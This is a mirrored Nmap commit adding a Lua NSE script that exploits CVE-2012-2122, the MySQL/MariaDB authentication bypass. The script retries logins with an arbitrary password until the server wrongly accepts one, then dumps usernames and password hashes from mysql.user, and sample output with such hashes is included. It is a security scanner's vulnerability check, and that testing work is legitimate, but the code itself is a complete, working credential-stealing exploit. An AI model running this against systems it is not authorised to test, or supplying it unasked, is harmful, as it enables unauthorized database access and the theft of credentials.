mirror of
https://github.com/nmap/nmap.git
synced 2025-12-06 04:31:29 +00:00
Adds mysql-vuln-cve2012-2122.nse. This script exploits the authentication bypass vulnerability in Mysql/MariaDB (CVE2012-2122).
This commit is contained in:
145
scripts/mysql-vuln-cve2012-2122.nse
Normal file
145
scripts/mysql-vuln-cve2012-2122.nse
Normal file
@@ -0,0 +1,145 @@
|
||||
description = [[
|
||||
Attempts to bypass authentication in MySQL and MariaDB servers by exploiting CVE2012-2122. If its vulnerable, it will also attempt to dump the MySQL usernames and password hashes. All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 are
|
||||
vulnerable but depending if memcmp() returns an arbitrary integer outside of -128..127 range.
|
||||
|
||||
"When a user connects to MariaDB/MySQL, a token (SHA
|
||||
over a password and a random scramble string) is calculated and compared
|
||||
with the expected value. Because of incorrect casting, it might've
|
||||
happened that the token and the expected value were considered equal,
|
||||
even if the memcmp() returned a non-zero value. In this case
|
||||
MySQL/MariaDB would think that the password is correct, even while it is
|
||||
not. Because the protocol uses random strings, the probability of
|
||||
hitting this bug is about 1/256.
|
||||
Which means, if one knows a user name to connect (and "root" almost
|
||||
always exists), she can connect using *any* password by repeating
|
||||
connection attempts. ~300 attempts takes only a fraction of second, so
|
||||
basically account password protection is as good as nonexistent."
|
||||
|
||||
Original public advisory:
|
||||
* http://seclists.org/oss-sec/2012/q2/493
|
||||
Interesting post about this vuln:
|
||||
* https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
|
||||
]]
|
||||
|
||||
---
|
||||
-- @usage nmap -p3306 --script mysql-vuln-cve2012-2122 <target>
|
||||
-- @usage nmap -sV --script mysql-vuln-cve2012-2122 <target>
|
||||
--
|
||||
-- @output
|
||||
-- PORT STATE SERVICE REASON
|
||||
-- 3306/tcp open mysql syn-ack
|
||||
-- | mysql-vuln-cve2012-2122:
|
||||
-- | VULNERABLE:
|
||||
-- | Authentication bypass in MySQL servers.
|
||||
-- | State: VULNERABLE
|
||||
-- | IDs: CVE:CVE-2012-2122
|
||||
-- | Description:
|
||||
-- | When a user connects to MariaDB/MySQL, a token (SHA
|
||||
-- | over a password and a random scramble string) is calculated and compared
|
||||
-- | with the expected value. Because of incorrect casting, it might've
|
||||
-- | happened that the token and the expected value were considered equal,
|
||||
-- | even if the memcmp() returned a non-zero value. In this case
|
||||
-- | MySQL/MariaDB would think that the password is correct, even while it is
|
||||
-- | not. Because the protocol uses random strings, the probability of
|
||||
-- | hitting this bug is about 1/256.
|
||||
-- | Which means, if one knows a user name to connect (and "root" almost
|
||||
-- | always exists), she can connect using *any* password by repeating
|
||||
-- | connection attempts. ~300 attempts takes only a fraction of second, so
|
||||
-- | basically account password protection is as good as nonexistent.
|
||||
-- |
|
||||
-- | Disclosure date: 2012-06-9
|
||||
-- | Extra information:
|
||||
-- | Server granted access at iteration #204
|
||||
-- | root:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
|
||||
-- | debian-sys-maint:*BDA9386EE35F7F326239844C185B01E3912749BF
|
||||
-- | phpmyadmin:*9CFBBC772F3F6C106020035386DA5BBBF1249A11
|
||||
-- | References:
|
||||
-- | https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
|
||||
-- | http://seclists.org/oss-sec/2012/q2/493
|
||||
-- |_ http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2122
|
||||
--
|
||||
-- @args mysql-cve2012-2122.user MySQL username. Default: root.
|
||||
-- @args mysql-cve2012-2122.iterations Connection retries. Default: 1500.
|
||||
-- @args mysql-cve2012-2122.socket_timeout Socket timeout. Default: 5000.
|
||||
---
|
||||
|
||||
local mysql = require "mysql"
|
||||
local nmap = require "nmap"
|
||||
local shortport = require "shortport"
|
||||
local stdnse = require "stdnse"
|
||||
local table = require "table"
|
||||
local vulns = require "vulns"
|
||||
local openssl = stdnse.silent_require "openssl"
|
||||
|
||||
author = "Paulino Calderon <calderon()websec.mx>"
|
||||
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||
categories = {"discovery", "intrusive", "vuln"}
|
||||
|
||||
portrule = shortport.port_or_service(3306, "mysql")
|
||||
|
||||
action = function( host, port )
|
||||
local vuln = {
|
||||
title = 'Authentication bypass in MySQL servers.',
|
||||
IDS = {CVE = 'CVE-2012-2122'},
|
||||
state = vulns.STATE.NOT_VULN,
|
||||
description = [[
|
||||
When a user connects to MariaDB/MySQL, a token (SHA
|
||||
over a password and a random scramble string) is calculated and compared
|
||||
with the expected value. Because of incorrect casting, it might've
|
||||
happened that the token and the expected value were considered equal,
|
||||
even if the memcmp() returned a non-zero value. In this case
|
||||
MySQL/MariaDB would think that the password is correct, even while it is
|
||||
not. Because the protocol uses random strings, the probability of
|
||||
hitting this bug is about 1/256.
|
||||
Which means, if one knows a user name to connect (and "root" almost
|
||||
always exists), she can connect using *any* password by repeating
|
||||
connection attempts. ~300 attempts takes only a fraction of second, so
|
||||
basically account password protection is as good as nonexistent.
|
||||
]],
|
||||
references = {
|
||||
'http://seclists.org/oss-sec/2012/q2/493',
|
||||
'https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql'
|
||||
},
|
||||
dates = {
|
||||
disclosure = {year = '2012', month = '06', day = '9'},
|
||||
},
|
||||
}
|
||||
local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local catch = function() socket:close() end
|
||||
local try = nmap.new_try(catch)
|
||||
local result, response = {}, nil
|
||||
local status
|
||||
local mysql_user = stdnse.get_script_args(SCRIPT_NAME..".user") or "root"
|
||||
local mysql_pwd = stdnse.get_script_args(SCRIPT_NAME..".pass") or "nmapFTW"
|
||||
local iterations = stdnse.get_script_args(SCRIPT_NAME..".iterations") or 1500
|
||||
local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".socket_timeout") or 5000
|
||||
|
||||
socket:set_timeout(conn_timeout)
|
||||
|
||||
--
|
||||
-- Chance of succeeding is 1/256. Let's try 1,500 to be safe.
|
||||
--
|
||||
for i=1,iterations do
|
||||
stdnse.print_debug(1, "%s: Connection attempt #%d", SCRIPT_NAME, i)
|
||||
try( socket:connect(host, port) )
|
||||
response = try( mysql.receiveGreeting(socket) )
|
||||
status, response = mysql.loginRequest(socket, {authversion = "post41", charset = response.charset}, mysql_user, mysql_pwd, response.salt)
|
||||
if status and response.errorcode == 0 then
|
||||
vuln.extra_info = string.format("Server granted access at iteration #%d\n", iterations)
|
||||
vuln.state = vulns.STATE.EXPLOIT
|
||||
--This part is based on mysql-dump-hashes
|
||||
local qry = "SELECT DISTINCT CONCAT(user, ':', password) FROM mysql.user WHERE password <> ''"
|
||||
local status, rows = mysql.sqlQuery(socket, qry)
|
||||
socket:close()
|
||||
if status then
|
||||
result = mysql.formatResultset(rows, {noheaders = true})
|
||||
vuln.extra_info = vuln.extra_info .. stdnse.format_output(true, result)
|
||||
end
|
||||
break
|
||||
end
|
||||
socket:close()
|
||||
end
|
||||
|
||||
return vuln_report:make_output(vuln)
|
||||
end
|
||||
Reference in New Issue
Block a user